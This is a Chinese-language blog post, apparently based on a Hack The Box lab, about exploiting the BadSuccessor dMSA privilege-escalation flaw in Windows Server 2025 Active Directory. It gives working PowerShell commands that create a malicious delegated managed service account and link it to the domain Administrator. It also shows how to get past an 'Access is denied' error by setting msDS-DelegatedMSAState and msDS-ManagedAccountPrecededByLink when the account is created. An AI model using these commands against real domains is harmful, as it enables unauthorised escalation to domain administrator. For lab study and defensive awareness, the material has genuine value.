BadSuccessor修改DMSA账户权限不足的问题解决

免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

2025年5月份时,爆出Windows Server 2025中存在一个与委派托管服务帐户 (dMSA)使用相关的严重设计漏洞。该漏洞允许仅拥有最低权限的攻击者在无需直接与特权帐户交互或修改组成员身份的情况下,提升至域管理员权限,简称BadSuccessor。也是在最近的实战过程中,踩了一些坑,在这篇文章分享一下问题和解决办法。

利用过程

网上主流的利用方式如下,这里以我在实战使用的命令演示,使用时需要替换NameDNSHostName以及对应的域路径

在拥有CreateChild权限的OU中创建dMSA

New-ADServiceAccount `
    -Name shuye_dmsa `
    -DNSHostName shuye_dmas.eighteen.htb `
    -CreateDelegatedServiceAccount `
    -PrincipalsAllowedToRetrieveManagedPassword"adam.scott" `
    -Path"OU=Staff,DC=eighteen,DC=htb"

设置属性并迁移到Administrator

$dMSA = [ADSI]"LDAP://CN=shuye_dmsa,OU=Staff,DC=eighteen,DC=htb"
$dMSA.Put("msDS-DelegatedMSAState",2)
$dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=eighteen,DC=htb")
$dMSA.SetInfo()

问题就出现在.SetInfo()这个命令,如果我们直接执行便可能出现下面的情况:

640
出现Access is denied,这是修改dmsa账户权限不足导致的,修改dmsa账户属性通常需要域管理员权限才能修改,通过查询ACL也能看到
msDS-DelegatedMSAState
msDS-ManagedAccountPrecededByLink
没有这两个属性的修改权限

640 (1)

解决办法

其实解决办法也很简单,既然我们对dmsa账户的属性没有修改权限,那我们可以在创建dmsa账户的时候就设置好属性即可。
具体命令如下:

New-ADServiceAccount-Name shuye_dmsas -DNSHostName shuye_dmsas.eighteen.htb -CreateDelegatedServiceAccount-PrincipalsAllowedToRetrieveManagedPassword"adam.scott"-Path"OU=Staff,DC=eighteen,DC=htb"-OtherAttributes@{"msDS-DelegatedMSAState"=2;"msDS-ManagedAccountPrecededByLink"="CN=Administrator,CN=Users,DC=eighteen,DC=htb"}

成功创建了恶意的dmsa:

640 (2)

总结

该方法通过在创建dmsa账户时就赋予其属性内容可以有效解决创建dmsa账户过程中出现.SetInfo()权限不足问题,后续的利用方法可以参考网上的其他文章。

posted @ 2025-12-26 12:49  叶语知安  阅读(3)  评论(0)    收藏  举报